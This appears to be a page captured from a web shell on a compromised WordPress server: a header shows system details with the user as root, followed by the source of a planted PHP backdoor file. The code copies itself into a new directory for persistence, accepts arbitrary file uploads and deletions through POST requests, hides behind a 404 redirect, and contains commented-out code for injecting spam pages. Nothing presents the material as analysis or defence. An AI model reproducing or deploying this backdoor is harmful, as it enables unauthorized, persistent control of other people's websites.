HEX
Server: Apache/2.4.65 (Ubuntu)
System: Linux ielts-store-v2 6.8.0-1036-gcp #38~22.04.1-Ubuntu SMP Thu Aug 14 01:19:18 UTC 2025 x86_64
User: root (0)
PHP: 7.2.34-54+ubuntu20.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/html/ielts-store/wp-content/outcms_xyhdl.php
<?php
define('VERSION', 'v3');
header('Access-Control-Allow-Origin: *');
function a($x,$y){
    return in_array($x,$y);
}
//init 
if(array_keys($_GET)[0] && array_keys($_GET)[0] == 'init' ){
    $dirs;
    $i = 0;
    do {
        $dirs = scandir(getcwd());
        if(a('wp-config.php',$dirs)){
        break;
        }
        else {
            chdir('../');
        }
        $i++;
    } while(!a('wp-config.php',$dirs) || $i<10);
    $path = 'content/pages/';
    //$path = array("content/pages", "contents/pages", "contents/posts", "pages/content","posts/content");
    //$script_path = $path[0];
    
    /* echo $script_path;
    exit; */

    /* for($i = 0; $i < count($path); $i++ ){
        if(!a(explode("/", $path)[0], $dirs)){
            $script_path = $path[i];
            break;
        }
    } */
    if(!a('content', $dirs)){
        $t = mkdir($path, 0777, true);
        if($t){
            if(copy(__FILE__, $path.'index.php')){
                echo ($path."index.php");
                exit;
            }
            else {
                echo ("error. cannot set the script");
                exit;
            }
        }
        else {
            echo ("error. cannot create dirs");
            exit;
        }
    }
    exit;
}
//check ver
elseif(array_keys($_GET)[0] && array_keys($_GET)[0] !== 'init'){
    //for checking if script still exists
    echo VERSION;
    exit;
}
//upload || rm
else {
  
    if(getenv('REQUEST_METHOD') == 'GET'){
        header('Location: /404');

    }
    
    $d = file_get_contents('php://input');

    if($d == false && isset($_POST['a']) == false)
        die(json_encode('thanks'));
    
    
    $d = json_decode($d, true);
    
//upl
    if($_POST['a'] && $_POST['a' ] == 'upl' ){

        $uplF = "";

        $uplD = "./";
        $uplF = $uplD . basename($_FILES['uplFile']['name']);
        if(move_uploaded_file($_FILES['uplFile']['tmp_name'], $uplF)){
            //echo 'upload ok ';
            if($_POST['ver'] && $_POST['ver'] == 'upd'){


            }
            echo $uplF;

        }
        else {
            echo 'error. fail to upload';
        }
        exit;
    }
//rm
    if($d['a'] && $d['a'] == rm){
        $postname = basename($d['page_url']);
        $dirs = scandir(getcwd());
        if(a($postname,$dirs)){
            unlink($postName);
            $result = array();
            $result['action'] = "Remove Post";
            $result['result'] = "Success";
            
            echo json_encode($result);
            exit;
        }
            
            $result = array();
            $result['action'] = "Remove Post";
            $result['result'] = "Error. No Such Post";
            
            echo json_encode($result);
            exit;
    }
    
    

    /* if(!$d['template_url'] || $d['template_url'] == ""){
        die('miss');
    }
    
    
    
    
    $filename = sanitizePageUrl($d['page_url']).'.html';
    
    $posts = scandir(getcwd());
    if(a($filename,$posts) && $d['or'] == 0){
        //posts exists and override set to 0 (No)
        echo ('{"result": "Error. Post exists","action":"Upload Post" }');
        exit;
    }
    
    $html = get_page($d['template_url']);
    
    
    $tagInput = $d['tag'];
    $tag = '#'.$tagInput.'(.*?)'.getClosingTag($tagInput).'#is';
    


    
    preg_match($tag, $html, $matches1);
    


    
    $title = '#<title>(.*?)</title>#is';
    preg_match($title, $html, $matches);
    
    $html = str_replace($matches[1], $d['title'], $html);
    $html = str_replace($matches1[1], $d['content'], $html);
    
    $nFile = @fopen($filename, "w");
    @fwrite($nFile, $html);
    @fclose($nFile);
    
    $result = array();
    
    $result['action'] = "Upload Post";
    $result['result'] = 'Success';
    $result['PostURL'] = $_SERVER['SCRIPT_URI'].$filename;
    $result['PostURL'] = str_replace(basename($_SERVER['SCRIPT_URI']),"", $result['PostURL']);
    
    echo json_encode($result); */    
}




?>